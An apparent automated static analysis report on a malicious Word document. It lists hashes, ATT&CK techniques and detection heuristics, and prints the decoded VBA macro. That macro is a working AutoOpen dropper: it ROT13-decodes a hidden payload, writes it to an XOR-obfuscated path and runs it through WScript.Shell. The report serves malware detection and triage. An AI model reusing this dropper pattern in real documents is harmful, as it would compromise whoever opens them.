Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 704cb0ef29703c16…

MALICIOUS

Office (OOXML) / .DOC

76.7 KB Created: 2021-03-17 05:38:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: 5570831c8e323d4677b5cb5204f7a75d SHA-1: 2af5e3eb248c10d406a4a2c6d92881df0e5121d5 SHA-256: 704cb0ef29703c164cec2f939a6ded25137b30898c68f99b02b707d0b72a5a3f
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This OOXML document contains VBA macros, including an AutoOpen subroutine, which is a common technique for initial execution. The script utilizes WScript.Shell to execute commands, indicating a likely downloader or dropper functionality. The presence of obfuscated code and the use of CreateObject further suggest malicious intent.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    CreateObject("wscript.shell").exec a1oWT
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    CreateObject("wscript.shell").exec a1oWT
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3031 bytes
SHA-256: 0da99f0e22e865d70d6e805c4a9224ebf72e1a65445cc5e7e5b385377f9b81b5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "myfrm1"
Attribute VB_Base = "0{36B30F44-C9EC-42A2-910E-39899B35570E}{C61442BA-DBFE-4BFB-BD9E-81F0A07D823E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "aFd58"
Function abrEc(text)
Const kLowerCaseStart = 97
Const kAlphabetRange = 26
Const kUpperCaseStart = 65
Const kRotRange = kAlphabetRange / 2
Dim baseOffset As Long
Dim result As String
If Len(text) > 64 Then
For i = 1 To Len(text)
baseOffset = 0
c = Mid(text, i, 1)
cc = Asc(c)
If cc >= kLowerCaseStart And cc < (kLowerCaseStart + kAlphabetRange) Then
baseOffset = kLowerCaseStart
ElseIf cc >= kUpperCaseStart And cc < (kUpperCaseStart + kAlphabetRange) Then
baseOffset = kUpperCaseStart
End If
If baseOffset > 0 Then
theRot13Code = (((cc - baseOffset) + kRotRange) Mod kAlphabetRange) + baseOffset
result = result + Chr(theRot13Code)
Else
result = result + c
End If
Next
End If
abrEc = result
End Function
Sub autoopen()
aFCsjJ
End Sub

Attribute VB_Name = "aOU0l"
Function aY3iE(a1oWT)
CreateObject("wscript.shell").exec a1oWT
End Function

Attribute VB_Name = "apTvoV"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function aX7zB()
End Function

Attribute VB_Name = "atNzW"
Sub auRvs(aNc6q5, aNpjLJ)
Set al2rYh = CreateObject("Scripting.FileSystemObject")
Set aRpWkE = al2rYh.CreateTextFile(aNc6q5)
aRpWkE.WriteLine aNpjLJ
aRpWkE.Close
End Sub
Function aJ6vSh(adBQp, at5crp)
If Len(adBQp) <> 4 Then aJ6vSh = adBQp Xor at5crp
End Function
Function abMkH7(aYjhxP As Variant)
Dim aOCkGX As String
aOCkGX = ""
aYjhxP = Split(aYjhxP, 256)
For acgwl = 0 To UBound(aYjhxP)
aNkeDy = a2aKX(aJ6vSh(aYjhxP(acgwl), 11))
aOCkGX = aOCkGX & aNkeDy
Next acgwl
abMkH7 = aOCkGX
End Function
Function a5Fqbg()
a5Fqbg = "10425649256872561232561212561002561082561212561062561022561112561062561272561062568725610625695256912561202561002563725699256127256106"
End Function
Function abcXjO()
abcXjO = "10425649256872561242569825610125611125610025612425612025687256110256115256123256103256100256121256110256121"
End Function
Function aE6Zde()
aE6Zde = abrEc(myfrm1.text1.text)
End Function
Function a2aKX(adBQp)
a2aKX = Chr(vbNullString & adBQp & vbNullString)
End Function
Sub aFCsjJ()
aNpjLJ = aE6Zde()
ahx78K = abMkH7(a5Fqbg)
Call auRvs(ahx78K, aNpjLJ)
aY3iE abMkH7(abcXjO) & " " & ahx78K
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 30208 bytes
SHA-256: 01e3c6ee0933ef43f78f12a19ccca544df45a3c8566a082cc3225d604f2a8947
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 long base64-like blob(s).

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